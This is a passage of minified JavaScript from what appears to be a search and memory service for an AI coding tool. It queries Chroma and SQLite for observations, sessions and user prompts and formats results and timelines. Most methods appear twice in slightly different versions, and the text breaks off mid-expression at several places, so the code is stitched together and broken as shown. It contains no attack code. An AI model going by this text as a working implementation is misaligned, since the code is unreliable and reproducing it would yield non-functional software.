order",{error:o.message})}if(a.length===0&&(a=this.sessionSearch.findByConcept("how-it-works",n)),a.length===0)return{content:[{type:"text",text:'No "how it works" observations found'}]};let s=`Found ${a.length} "how it works" observation(s) +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async howItWorks(e){try{let r=this.normalizeParams(e),{...n}=r,a=[];if(this.chromaSync)try{U.debug("SEARCH","Using metadata-first + semantic ranking for how-it-works",{});let o=this.sessionSearch.findByConcept("how-it-works",n);if(o.length>0){let c=o.map(d=>d.id),u=await this.queryChroma("how it works architecture",Math.min(c.length,100)),l=[];for(let d of u.ids)c.includes(d)&&!l.includes(d)&&l.push(d);l.length>0&&(a=this.sessionStore.getObservationsByIds(l,{limit:n.limit||20}),a.sort((d,f)=>l.indexOf(d.id)-l.indexOf(f.id)))}}catch(o){U.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:o.message})}if(a.length===0&&(a=this.sessionSearch.findByConcept("how-it-works",n)),a.length===0)return{content:[{type:"text",text:'No "how it works" observations found'}]};let s=`Found ${a.length} "how it works" observation(s) ${this.formatter.formatTableHeader()}`,i=a.map((o,c)=>this.formatter.formatObservationIndex(o,c));return{content:[{type:"text",text:s+` `+i.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async searchObservations(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{F.debug("SEARCH","Using hybrid semantic search (Chroma + SQLite)",{});let c=await this.queryChroma(n,100);if(F.debug("SEARCH","Chroma returned semantic matches",{matchCount:c.ids.length}),c.ids.length>0){let u=Date.now()-oi,l=c.ids.filter((d,f)=>{let m=c.metadatas[f];return m&&m.created_at_epoch>u});if(F.debug("SEARCH","Results within 90-day window",{count:l.length}),l.length>0){let d=a.limit||20;s=this.sessionStore.getObservationsByIds(l,{orderBy:"date_desc",limit:d}),F.debug("SEARCH","Hydrated observations from SQLite",{count:s.length})}}}catch(c){F.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:c.message})}if(s.length===0)return{content:[{type:"text",text:`No observations found matching "${n}"`}]};let i=`Found ${s.length} observation(s) matching "${n}" +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async searchObservations(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{U.debug("SEARCH","Using hybrid semantic search (Chroma + SQLite)",{});let c=await this.queryChroma(n,100);if(U.debug("SEARCH","Chroma returned semantic matches",{matchCount:c.ids.length}),c.ids.length>0){let u=Date.now()-ui,l=c.ids.filter((d,f)=>{let m=c.metadatas[f];return m&&m.created_at_epoch>u});if(U.debug("SEARCH","Results within 90-day window",{count:l.length}),l.length>0){let d=a.limit||20;s=this.sessionStore.getObservationsByIds(l,{orderBy:"date_desc",limit:d}),U.debug("SEARCH","Hydrated observations from SQLite",{count:s.length})}}}catch(c){U.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:c.message})}if(s.length===0)return{content:[{type:"text",text:`No observations found matching "${n}"`}]};let i=`Found ${s.length} observation(s) matching "${n}" ${this.formatter.formatTableHeader()}`,o=s.map((c,u)=>this.formatter.formatObservationIndex(c,u));return{content:[{type:"text",text:i+` `+o.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async searchSessions(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{F.debug("SEARCH","Using hybrid semantic search for sessions",{});let c=await this.queryChroma(n,100,{doc_type:"session_summary"});if(F.debug("SEARCH","Chroma returned semantic matches for sessions",{matchCount:c.ids.length}),c.ids.length>0){let u=Date.now()-oi,l=c.ids.filter((d,f)=>{let m=c.metadatas[f];return m&&m.created_at_epoch>u});if(F.debug("SEARCH","Results within 90-day window",{count:l.length}),l.length>0){let d=a.limit||20;s=this.sessionStore.getSessionSummariesByIds(l,{orderBy:"date_desc",limit:d}),F.debug("SEARCH","Hydrated sessions from SQLite",{count:s.length})}}}catch(c){F.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:c.message})}if(s.length===0)return{content:[{type:"text",text:`No sessions found matching "${n}"`}]};let i=`Found ${s.length} session(s) matching "${n}" +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async searchSessions(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{U.debug("SEARCH","Using hybrid semantic search for sessions",{});let c=await this.queryChroma(n,100,{doc_type:"session_summary"});if(U.debug("SEARCH","Chroma returned semantic matches for sessions",{matchCount:c.ids.length}),c.ids.length>0){let u=Date.now()-ui,l=c.ids.filter((d,f)=>{let m=c.metadatas[f];return m&&m.created_at_epoch>u});if(U.debug("SEARCH","Results within 90-day window",{count:l.length}),l.length>0){let d=a.limit||20;s=this.sessionStore.getSessionSummariesByIds(l,{orderBy:"date_desc",limit:d}),U.debug("SEARCH","Hydrated sessions from SQLite",{count:s.length})}}}catch(c){U.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:c.message})}if(s.length===0)return{content:[{type:"text",text:`No sessions found matching "${n}"`}]};let i=`Found ${s.length} session(s) matching "${n}" ${this.formatter.formatTableHeader()}`,o=s.map((c,u)=>this.formatter.formatSessionIndex(c,u));return{content:[{type:"text",text:i+` `+o.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async searchUserPrompts(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{F.debug("SEARCH","Using hybrid semantic search for user prompts",{});let c=await this.queryChroma(n,100,{doc_type:"user_prompt"});if(F.debug("SEARCH","Chroma returned semantic matches for prompts",{matchCount:c.ids.length}),c.ids.length>0){let u=Date.now()-oi,l=c.ids.filter((d,f)=>{let m=c.metadatas[f];return m&&m.created_at_epoch>u});if(F.debug("SEARCH","Results within 90-day window",{count:l.length}),l.length>0){let d=a.limit||20;s=this.sessionStore.getUserPromptsByIds(l,{orderBy:"date_desc",limit:d}),F.debug("SEARCH","Hydrated user prompts from SQLite",{count:s.length})}}}catch(c){F.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:c.message})}if(s.length===0)return{content:[{type:"text",text:n?`No user prompts found matching "${n}"`:"No user prompts found"}]};let i=`Found ${s.length} user prompt(s) matching "${n}" +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async searchUserPrompts(e){try{let r=this.normalizeParams(e),{query:n,...a}=r,s=[];if(this.chromaSync)try{U.debug("SEARCH","Using hybrid semantic search for user prompts",{});let c=await this.queryChroma(n,100,{doc_type:"user_prompt"});if(U.debug("SEARCH","Chroma returned semantic matches for prompts",{matchCount:c.ids.length}),c.ids.length>0){let u=Date.now()-ui,l=c.ids.filter((d,f)=>{let m=c.metadatas[f];return m&&m.created_at_epoch>u});if(U.debug("SEARCH","Results within 90-day window",{count:l.length}),l.length>0){let d=a.limit||20;s=this.sessionStore.getUserPromptsByIds(l,{orderBy:"date_desc",limit:d}),U.debug("SEARCH","Hydrated user prompts from SQLite",{count:s.length})}}}catch(c){U.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:c.message})}if(s.length===0)return{content:[{type:"text",text:n?`No user prompts found matching "${n}"`:"No user prompts found"}]};let i=`Found ${s.length} user prompt(s) matching "${n}" ${this.formatter.formatTableHeader()}`,o=s.map((c,u)=>this.formatter.formatUserPromptIndex(c,u));return{content:[{type:"text",text:i+` `+o.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async findByConcept(e){try{let r=this.normalizeParams(e),{concepts:n,...a}=r,s=[];if(this.chromaSync)try{F.debug("SEARCH","Using metadata-first + semantic ranking for concept search",{});let c=this.sessionSearch.findByConcept(n,a);if(F.debug("SEARCH","Found observations with concept",{concept:n,count:c.length}),c.length>0){let u=c.map(f=>f.id),l=await this.queryChroma(n,Math.min(u.length,100)),d=[];for(let f of l.ids)u.includes(f)&&!d.includes(f)&&d.push(f);F.debug("SEARCH","Chroma ranked results by semantic relevance",{count:d.length}),d.length>0&&(s=this.sessionStore.getObservationsByIds(d,{limit:a.limit||20}),s.sort((f,m)=>d.indexOf(f.id)-d.indexOf(m.id)))}}catch(c){F.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:c.message})}if(s.length===0&&(F.debug("SEARCH","Using SQLite-only concept search",{}),s=this.sessionSearch.findByConcept(n,a)),s.length===0)return{content:[{type:"text",text:`No observations found with concept "${n}"`}]};let i=`Found ${s.length} observation(s) with concept "${n}" +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async findByConcept(e){try{let r=this.normalizeParams(e),{concepts:n,...a}=r,s=[];if(this.chromaSync)try{U.debug("SEARCH","Using metadata-first + semantic ranking for concept search",{});let c=this.sessionSearch.findByConcept(n,a);if(U.debug("SEARCH","Found observations with concept",{concept:n,count:c.length}),c.length>0){let u=c.map(f=>f.id),l=await this.queryChroma(n,Math.min(u.length,100)),d=[];for(let f of l.ids)u.includes(f)&&!d.includes(f)&&d.push(f);U.debug("SEARCH","Chroma ranked results by semantic relevance",{count:d.length}),d.length>0&&(s=this.sessionStore.getObservationsByIds(d,{limit:a.limit||20}),s.sort((f,m)=>d.indexOf(f.id)-d.indexOf(m.id)))}}catch(c){U.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:c.message})}if(s.length===0&&(U.debug("SEARCH","Using SQLite-only concept search",{}),s=this.sessionSearch.findByConcept(n,a)),s.length===0)return{content:[{type:"text",text:`No observations found with concept "${n}"`}]};let i=`Found ${s.length} observation(s) with concept "${n}" ${this.formatter.formatTableHeader()}`,o=s.map((c,u)=>this.formatter.formatObservationIndex(c,u));return{content:[{type:"text",text:i+` `+o.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async findByFile(e){try{let r=this.normalizeParams(e),{files:n,...a}=r,s=[],i=[];if(this.chromaSync)try{F.debug("SEARCH","Using metadata-first + semantic ranking for file search",{});let l=this.sessionSearch.findByFile(n,a);if(F.debug("SEARCH","Found results for file",{file:n,observations:l.observations.length,sessions:l.sessions.length}),i=l.sessions,l.observations.length>0){let d=l.observations.map(g=>g.id),f=await this.queryChroma(n,Math.min(d.length,100)),m=[];for(let g of f.ids)d.includes(g)&&!m.includes(g)&&m.push(g);F.debug("SEARCH","Chroma ranked observations by semantic relevance",{count:m.length}),m.length>0&&(s=this.sessionStore.getObservationsByIds(m,{limit:a.limit||20}),s.sort((g,b)=>m.indexOf(g.id)-m.indexOf(b.id)))}}catch(l){F.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:l.message})}if(s.length===0&&i.length===0){F.debug("SEARCH","Using SQLite-only file search",{});let l=this.sessionSearch.findByFile(n,a);s=l.observations,i=l.sessions}let o=s.length+i.length;if(o===0)return{content:[{type:"text",text:`No results found for file "${n}"`}]};let c=`Found ${o} result(s) for file "${n}" +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async findByFile(e){try{let r=this.normalizeParams(e),{files:n,...a}=r,s=[],i=[];if(this.chromaSync)try{U.debug("SEARCH","Using metadata-first + semantic ranking for file search",{});let l=this.sessionSearch.findByFile(n,a);if(U.debug("SEARCH","Found results for file",{file:n,observations:l.observations.length,sessions:l.sessions.length}),i=l.sessions,l.observations.length>0){let d=l.observations.map(g=>g.id),f=await this.queryChroma(n,Math.min(d.length,100)),m=[];for(let g of f.ids)d.includes(g)&&!m.includes(g)&&m.push(g);U.debug("SEARCH","Chroma ranked observations by semantic relevance",{count:m.length}),m.length>0&&(s=this.sessionStore.getObservationsByIds(m,{limit:a.limit||20}),s.sort((g,b)=>m.indexOf(g.id)-m.indexOf(b.id)))}}catch(l){U.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:l.message})}if(s.length===0&&i.length===0){U.debug("SEARCH","Using SQLite-only file search",{});let l=this.sessionSearch.findByFile(n,a);s=l.observations,i=l.sessions}let o=s.length+i.length;if(o===0)return{content:[{type:"text",text:`No results found for file "${n}"`}]};let c=`Found ${o} result(s) for file "${n}" ${this.formatter.formatTableHeader()}`,u=[];return s.forEach((l,d)=>{u.push(this.formatter.formatObservationIndex(l,d))}),i.forEach((l,d)=>{u.push(this.formatter.formatSessionIndex(l,d+s.length))}),{content:[{type:"text",text:c+` `+u.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async findByType(e){try{let r=this.normalizeParams(e),{type:n,...a}=r,s=Array.isArray(n)?n.join(", "):n,i=[];if(this.chromaSync)try{F.debug("SEARCH","Using metadata-first + semantic ranking for type search",{});let u=this.sessionSearch.findByType(n,a);if(F.debug("SEARCH","Found observations with type",{type:s,count:u.length}),u.length>0){let l=u.map(m=>m.id),d=await this.queryChroma(s,Math.min(l.length,100)),f=[];for(let m of d.ids)l.includes(m)&&!f.includes(m)&&f.push(m);F.debug("SEARCH","Chroma ranked results by semantic relevance",{count:f.length}),f.length>0&&(i=this.sessionStore.getObservationsByIds(f,{limit:a.limit||20}),i.sort((m,g)=>f.indexOf(m.id)-f.indexOf(g.id)))}}catch(u){F.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:u.message})}if(i.length===0&&(F.debug("SEARCH","Using SQLite-only type search",{}),i=this.sessionSearch.findByType(n,a)),i.length===0)return{content:[{type:"text",text:`No observations found with type "${s}"`}]};let o=`Found ${i.length} observation(s) with type "${s}" +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async findByType(e){try{let r=this.normalizeParams(e),{type:n,...a}=r,s=Array.isArray(n)?n.join(", "):n,i=[];if(this.chromaSync)try{U.debug("SEARCH","Using metadata-first + semantic ranking for type search",{});let u=this.sessionSearch.findByType(n,a);if(U.debug("SEARCH","Found observations with type",{type:s,count:u.length}),u.length>0){let l=u.map(m=>m.id),d=await this.queryChroma(s,Math.min(l.length,100)),f=[];for(let m of d.ids)l.includes(m)&&!f.includes(m)&&f.push(m);U.debug("SEARCH","Chroma ranked results by semantic relevance",{count:f.length}),f.length>0&&(i=this.sessionStore.getObservationsByIds(f,{limit:a.limit||20}),i.sort((m,g)=>f.indexOf(m.id)-f.indexOf(g.id)))}}catch(u){U.debug("SEARCH","Chroma ranking failed, using SQLite order",{error:u.message})}if(i.length===0&&(U.debug("SEARCH","Using SQLite-only type search",{}),i=this.sessionSearch.findByType(n,a)),i.length===0)return{content:[{type:"text",text:`No observations found with type "${s}"`}]};let o=`Found ${i.length} observation(s) with type "${s}" ${this.formatter.formatTableHeader()}`,c=i.map((u,l)=>this.formatter.formatObservationIndex(u,l));return{content:[{type:"text",text:o+` `+c.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async getRecentContext(e){try{let r=e.project||(0,Nk.basename)(process.cwd()),n=e.limit||3,a=this.sessionStore.getRecentSessionsWithStatus(r,n);if(a.length===0)return{content:[{type:"text",text:`# Recent Session Context +`)}]}}catch(r){return{content:[{type:"text",text:`Search failed: ${r.message}`}],isError:!0}}}async getRecentContext(e){try{let r=e.project||(0,Bk.basename)(process.cwd()),n=e.limit||3,a=this.sessionStore.getRecentSessionsWithStatus(r,n);if(a.length===0)return{content:[{type:"text",text:`# Recent Session Context No previous sessions found for project "${r}".`}]};let s=[];s.push("# Recent Session Context"),s.push(""),s.push(`Showing last ${a.length} session(s) for **${r}**:`),s.push("");for(let i of a)if(i.sdk_session_id){if(s.push("---"),s.push(""),i.has_summary){let o=this.sessionStore.getSummaryForSession(i.sdk_session_id);if(o){let c=o.prompt_number?` (Prompt #${o.prompt_number})`:"";if(s.push(`**Summary${c}**`),s.push(""),o.request&&s.push(`**Request:** ${o.request}`),o.completed&&s.push(`**Completed:** ${o.completed}`),o.learned&&s.push(`**Learned:** ${o.learned}`),o.next_steps&&s.push(`**Next Steps:** ${o.next_steps}`),o.files_read)try{let l=JSON.parse(o.files_read);Array.isArray(l)&&l.length>0&&s.push(`**Files Read:** ${l.join(", ")}`)}catch{o.files_read.trim()&&s.push(`**Files Read:** ${o.files_read}`)}if(o.files_edited)try{let l=JSON.parse(o.files_edited);Array.isArray(l)&&l.length>0&&s.push(`**Files Edited:** ${l.join(", ")}`)}catch{o.files_edited.trim()&&s.push(`**Files Edited:** ${o.files_edited}`)}let u=new Date(o.created_at).toLocaleString();s.push(`**Date:** ${u}`)}}else if(i.status==="active"){s.push("**In Progress**"),s.push(""),i.user_prompt&&s.push(`**Request:** ${i.user_prompt}`);let o=this.sessionStore.getObservationsForSession(i.sdk_session_id);if(o.length>0){s.push(""),s.push(`**Observations (${o.length}):**`);for(let u of o)s.push(`- ${u.title}`)}else s.push(""),s.push("*No observations yet*");s.push(""),s.push("**Status:** Active - summary pending");let c=new Date(i.started_at).toLocaleString();s.push(`**Date:** ${c}`)}else{s.push(`**${i.status.charAt(0).toUpperCase()+i.status.slice(1)}**`),s.push(""),i.user_prompt&&s.push(`**Request:** ${i.user_prompt}`),s.push(""),s.push(`**Status:** ${i.status} - no summary available`);let o=new Date(i.started_at).toLocaleString();s.push(`**Date:** ${o}`)}s.push("")}return{content:[{type:"text",text:s.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Failed to get recent context: ${r.message}`}],isError:!0}}}async getContextTimeline(e){try{let{anchor:r,depth_before:n=10,depth_after:a=10,project:s}=e,i=process.cwd(),o,c=r,u;if(typeof r=="number"){let b=this.sessionStore.getObservationById(r);if(!b)return{content:[{type:"text",text:`Observation #${r} not found`}],isError:!0};o=b.created_at_epoch,u=this.sessionStore.getTimelineAroundObservation(r,o,n,a,s)}else if(typeof r=="string")if(r.startsWith("S")||r.startsWith("#S")){let b=r.replace(/^#?S/,""),p=parseInt(b,10),h=this.sessionStore.getSessionSummariesByIds([p]);if(h.length===0)return{content:[{type:"text",text:`Session #${p} not found`}],isError:!0};o=h[0].created_at_epoch,c=`S${p}`,u=this.sessionStore.getTimelineAroundTimestamp(o,n,a,s)}else{let b=new Date(r);if(isNaN(b.getTime()))return{content:[{type:"text",text:`Invalid timestamp: ${r}`}],isError:!0};o=b.getTime(),u=this.sessionStore.getTimelineAroundTimestamp(o,n,a,s)}else return{content:[{type:"text",text:'Invalid anchor: must be observation ID (number), session ID (e.g., "S123"), or ISO timestamp'}],isError:!0};let l=[...u.observations.map(b=>({type:"observation",data:b,epoch:b.created_at_epoch})),...u.sessions.map(b=>({type:"session",data:b,epoch:b.created_at_epoch})),...u.prompts.map(b=>({type:"prompt",data:b,epoch:b.created_at_epoch}))];l.sort((b,p)=>b.epoch-p.epoch);let d=this.timelineService.filterByDepth(l,c,o,n,a);if(!d||d.length===0)return{content:[{type:"text",text:`No context found around ${new Date(o).toLocaleString()} (${n} records before, ${a} records after)`}]};let f=[];f.push(`# Timeline around anchor: ${c}`),f.push(`**Window:** ${n} records before \u2192 ${a} records after | **Items:** ${d?.length??0}`),f.push("");let m=new Map;for(let b of d){let p=jn(b.epoch);m.has(p)||m.set(p,[]),m.get(p).push(b)}let g=Array.from(m.entries()).sort((b,p)=>{let h=new Date(b[0]).getTime(),y=new Date(p[0]).getTime();return h-y});for(let[b,p]of g){f.push(`### ${b}`),f.push("");let h=null,y="",v=!1;for(let _ of p){let S=typeof c=="number"&&_.type==="observation"&&_.data.id===c||typeof c=="string"&&c.startsWith("S")&&_.type==="session"&&`S${_.data.id}`===c;if(_.type==="session"){v&&(f.push(""),v=!1,h=null,y="");let x=_.data,w=x.request||"Session summary",T=S?" \u2190 **ANCHOR**":"";f.push(`**\u{1F3AF} #S${x.id}** ${w} (${ya(_.epoch)})${T}`),f.push("")}else if(_.type==="prompt"){v&&(f.push(""),v=!1,h=null,y="");let x=_.data,w=x.prompt_text.length>100?x.prompt_text.substring(0,100)+"...":x.prompt_text;f.push(`**\u{1F4AC} User Prompt #${x.prompt_number}** (${ya(_.epoch)})`),f.push(`> ${w}`),f.push("")}else if(_.type==="observation"){let x=_.data,w=Mn(x.files_modified,i);w!==h&&(v&&f.push(""),f.push(`**${w}**`),f.push("| ID | Time | T | Title | Tokens |"),f.push("|----|------|---|-------|--------|"),h=w,v=!0,y="");let T="\u2022";switch(x.type){case"bugfix":T="\u{1F534}";break;case"feature":T="\u{1F7E3}";break;case"refactor":T="\u{1F504}";break;case"change":T="\u2705";break;case"discovery":T="\u{1F535}";break;case"decision":T="\u{1F9E0}";break}let R=ii(_.epoch),A=x.title||"Untitled",j=wl(x.narrative),U=R!==y?R:"\u2033";y=R;let N=S?" \u2190 **ANCHOR**":"";f.push(`| #${x.id} | ${U} | ${T} | ${A}${N} | ~${j} |`)}}v&&f.push("")}return{content:[{type:"text",text:f.join(` -`)}]}}catch(r){return{content:[{type:"text",text:`Timeline query failed: ${r.message}`}],isError:!0}}}async getTimelineByQuery(e){try{let{query:r,mode:n="auto",depth_before:a=10,depth_after:s=10,limit:i=5,project:o}=e,c=process.cwd(),u=[];if(this.chromaSync)try{F.debug("SEARCH","Using hybrid semantic search for timeline query",{});let l=await this.queryChroma(r,100);if(F.debug("SEARCH","Chroma returned semantic matches for timeline",{matchCount:l.ids.length}),l.ids.length>0){let d=Date.now()-oi,f=l.ids.filter((m,g)=>{let b=l.metadatas[g];return b&&b.created_at_epoch>d});F.debug("SEARCH","Results within 90-day window",{count:f.length}),f.length>0&&(u=this.sessionStore.getObservationsByIds(f,{orderBy:"date_desc",limit:n==="auto"?1:i}),F.debug("SEARCH","Hydrated observations from SQLite",{count:u.length}))}}catch(l){F.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:l.message})}if(u.length===0)return{content:[{type:"text",text:`No observations found matching "${r}". Try a different search query.`}]};if(n==="interactive"){let l=[];l.push("# Timeline Anchor Search Results"),l.push(""),l.push(`Found ${u.length} observation(s) matching "${r}"`),l.push(""),l.push("To get timeline context around any of these observations, use the `get_context_timeline` tool with the observation ID as the anchor."),l.push(""),l.push(`**Top ${u.length} matches:**`),l.push("");for(let d=0;d({type:"observation",data:h,epoch:h.created_at_epoch})),...(d.sessions||[]).map(h=>({type:"session",data:h,epoch:h.created_at_epoch})),...(d.prompts||[]).map(h=>({type:"prompt",data:h,epoch:h.created_at_epoch}))];f.sort((h,y)=>h.epoch-y.epoch);let m=this.timelineService.filterByDepth(f,l.id,0,a,s);if(!m||m.length===0)return{content:[{type:"text",text:`Found observation #${l.id} matching "${r}", but no timeline context available (${a} records before, ${s} records after).`}]};let g=[];g.push(`# Timeline for query: "${r}"`),g.push(`**Anchor:** Observation #${l.id} - ${l.title||"Untitled"}`),g.push(`**Window:** ${a} records before \u2192 ${s} records after | **Items:** ${m?.length??0}`),g.push("");let b=new Map;for(let h of m){let y=jn(h.epoch);b.has(y)||b.set(y,[]),b.get(y).push(h)}let p=Array.from(b.entries()).sort((h,y)=>{let v=new Date(h[0]).getTime(),_=new Date(y[0]).getTime();return v-_});for(let[h,y]of p){g.push(`### ${h}`),g.push("");let v=null,_="",S=!1;for(let x of y){let w=x.type==="observation"&&x.data.id===l.id;if(x.type==="session"){S&&(g.push(""),S=!1,v=null,_="");let T=x.data,R=T.request||"Session summary";g.push(`**\u{1F3AF} #S${T.id}** ${R} (${ya(x.epoch)})`),g.push("")}else if(x.type==="prompt"){S&&(g.push(""),S=!1,v=null,_="");let T=x.data,R=T.prompt_text.length>100?T.prompt_text.substring(0,100)+"...":T.prompt_text;g.push(`**\u{1F4AC} User Prompt #${T.prompt_number}** (${ya(x.epoch)})`),g.push(`> ${R}`),g.push("")}else if(x.type==="observation"){let T=x.data,R=Mn(T.files_modified,c);R!==v&&(S&&g.push(""),g.push(`**${R}**`),g.push("| ID | Time | T | Title | Tokens |"),g.push("|----|------|---|-------|--------|"),v=R,S=!0,_="");let A="\u2022";switch(T.type){case"bugfix":A="\u{1F534}";break;case"feature":A="\u{1F7E3}";break;case"refactor":A="\u{1F504}";break;case"change":A="\u2705";break;case"discovery":A="\u{1F535}";break;case"decision":A="\u{1F9E0}";break}let j=ii(x.epoch),q=T.title||"Untitled",U=wl(T.narrative),G=j!==_?j:"\u2033";_=j;let te=w?" \u2190 **ANCHOR**":"";g.push(`| #${T.id} | ${G} | ${A} | ${q}${te} | ~${U} |`)}}S&&g.push("")}return{content:[{type:"text",text:g.join(` -`)}]}}}catch(r){return{content:[{type:"text",text:`Timeline query failed: ${r.message}`}],isError:!0}}}};io();var n7=4,El=class{formatSearchTips(){return` +`)}]}}catch(r){return{content:[{type:"text",text:`Failed to get recent context: ${r.message}`}],isError:!0}}}async getContextTimeline(e){try{let{anchor:r,depth_before:n=10,depth_after:a=10,project:s}=e,i=process.cwd(),o,c=r,u;if(typeof r=="number"){let b=this.sessionStore.getObservationById(r);if(!b)return{content:[{type:"text",text:`Observation #${r} not found`}],isError:!0};o=b.created_at_epoch,u=this.sessionStore.getTimelineAroundObservation(r,o,n,a,s)}else if(typeof r=="string")if(r.startsWith("S")||r.startsWith("#S")){let b=r.replace(/^#?S/,""),p=parseInt(b,10),h=this.sessionStore.getSessionSummariesByIds([p]);if(h.length===0)return{content:[{type:"text",text:`Session #${p} not found`}],isError:!0};o=h[0].created_at_epoch,c=`S${p}`,u=this.sessionStore.getTimelineAroundTimestamp(o,n,a,s)}else{let b=new Date(r);if(isNaN(b.getTime()))return{content:[{type:"text",text:`Invalid timestamp: ${r}`}],isError:!0};o=b.getTime(),u=this.sessionStore.getTimelineAroundTimestamp(o,n,a,s)}else return{content:[{type:"text",text:'Invalid anchor: must be observation ID (number), session ID (e.g., "S123"), or ISO timestamp'}],isError:!0};let l=[...u.observations.map(b=>({type:"observation",data:b,epoch:b.created_at_epoch})),...u.sessions.map(b=>({type:"session",data:b,epoch:b.created_at_epoch})),...u.prompts.map(b=>({type:"prompt",data:b,epoch:b.created_at_epoch}))];l.sort((b,p)=>b.epoch-p.epoch);let d=this.timelineService.filterByDepth(l,c,o,n,a);if(!d||d.length===0)return{content:[{type:"text",text:`No context found around ${new Date(o).toLocaleString()} (${n} records before, ${a} records after)`}]};let f=[];f.push(`# Timeline around anchor: ${c}`),f.push(`**Window:** ${n} records before \u2192 ${a} records after | **Items:** ${d?.length??0}`),f.push("");let m=new Map;for(let b of d){let p=Ln(b.epoch);m.has(p)||m.set(p,[]),m.get(p).push(b)}let g=Array.from(m.entries()).sort((b,p)=>{let h=new Date(b[0]).getTime(),y=new Date(p[0]).getTime();return h-y});for(let[b,p]of g){f.push(`### ${b}`),f.push("");let h=null,y="",v=!1;for(let _ of p){let S=typeof c=="number"&&_.type==="observation"&&_.data.id===c||typeof c=="string"&&c.startsWith("S")&&_.type==="session"&&`S${_.data.id}`===c;if(_.type==="session"){v&&(f.push(""),v=!1,h=null,y="");let x=_.data,E=x.request||"Session summary",T=S?" \u2190 **ANCHOR**":"";f.push(`**\u{1F3AF} #S${x.id}** ${E} (${xa(_.epoch)})${T}`),f.push("")}else if(_.type==="prompt"){v&&(f.push(""),v=!1,h=null,y="");let x=_.data,E=x.prompt_text.length>100?x.prompt_text.substring(0,100)+"...":x.prompt_text;f.push(`**\u{1F4AC} User Prompt #${x.prompt_number}** (${xa(_.epoch)})`),f.push(`> ${E}`),f.push("")}else if(_.type==="observation"){let x=_.data,E=Fn(x.files_modified,i);E!==h&&(v&&f.push(""),f.push(`**${E}**`),f.push("| ID | Time | T | Title | Tokens |"),f.push("|----|------|---|-------|--------|"),h=E,v=!0,y="");let T=$t.getInstance().getTypeIcon(x.type),$=ci(_.epoch),N=x.title||"Untitled",j=El(x.narrative),H=$!==y?$:"\u2033";y=$;let A=S?" \u2190 **ANCHOR**":"";f.push(`| #${x.id} | ${H} | ${T} | ${N}${A} | ~${j} |`)}}v&&f.push("")}return{content:[{type:"text",text:f.join(` +`)}]}}catch(r){return{content:[{type:"text",text:`Timeline query failed: ${r.message}`}],isError:!0}}}async getTimelineByQuery(e){try{let{query:r,mode:n="auto",depth_before:a=10,depth_after:s=10,limit:i=5,project:o}=e,c=process.cwd(),u=[];if(this.chromaSync)try{U.debug("SEARCH","Using hybrid semantic search for timeline query",{});let l=await this.queryChroma(r,100);if(U.debug("SEARCH","Chroma returned semantic matches for timeline",{matchCount:l.ids.length}),l.ids.length>0){let d=Date.now()-ui,f=l.ids.filter((m,g)=>{let b=l.metadatas[g];return b&&b.created_at_epoch>d});U.debug("SEARCH","Results within 90-day window",{count:f.length}),f.length>0&&(u=this.sessionStore.getObservationsByIds(f,{orderBy:"date_desc",limit:n==="auto"?1:i}),U.debug("SEARCH","Hydrated observations from SQLite",{count:u.length}))}}catch(l){U.debug("SEARCH","Chroma query failed - no results (FTS5 fallback removed)",{error:l.message})}if(u.length===0)return{content:[{type:"text",text:`No observations found matching "${r}". Try a different search query.`}]};if(n==="interactive"){let l=[];l.push("# Timeline Anchor Search Results"),l.push(""),l.push(`Found ${u.length} observation(s) matching "${r}"`),l.push(""),l.push("To get timeline context around any of these observations, use the `get_context_timeline` tool with the observation ID as the anchor."),l.push(""),l.push(`**Top ${u.length} matches:**`),l.push("");for(let d=0;d({type:"observation",data:h,epoch:h.created_at_epoch})),...(d.sessions||[]).map(h=>({type:"session",data:h,epoch:h.created_at_epoch})),...(d.prompts||[]).map(h=>({type:"prompt",data:h,epoch:h.created_at_epoch}))];f.sort((h,y)=>h.epoch-y.epoch);let m=this.timelineService.filterByDepth(f,l.id,0,a,s);if(!m||m.length===0)return{content:[{type:"text",text:`Found observation #${l.id} matching "${r}", but no timeline context available (${a} records before, ${s} records after).`}]};let g=[];g.push(`# Timeline for query: 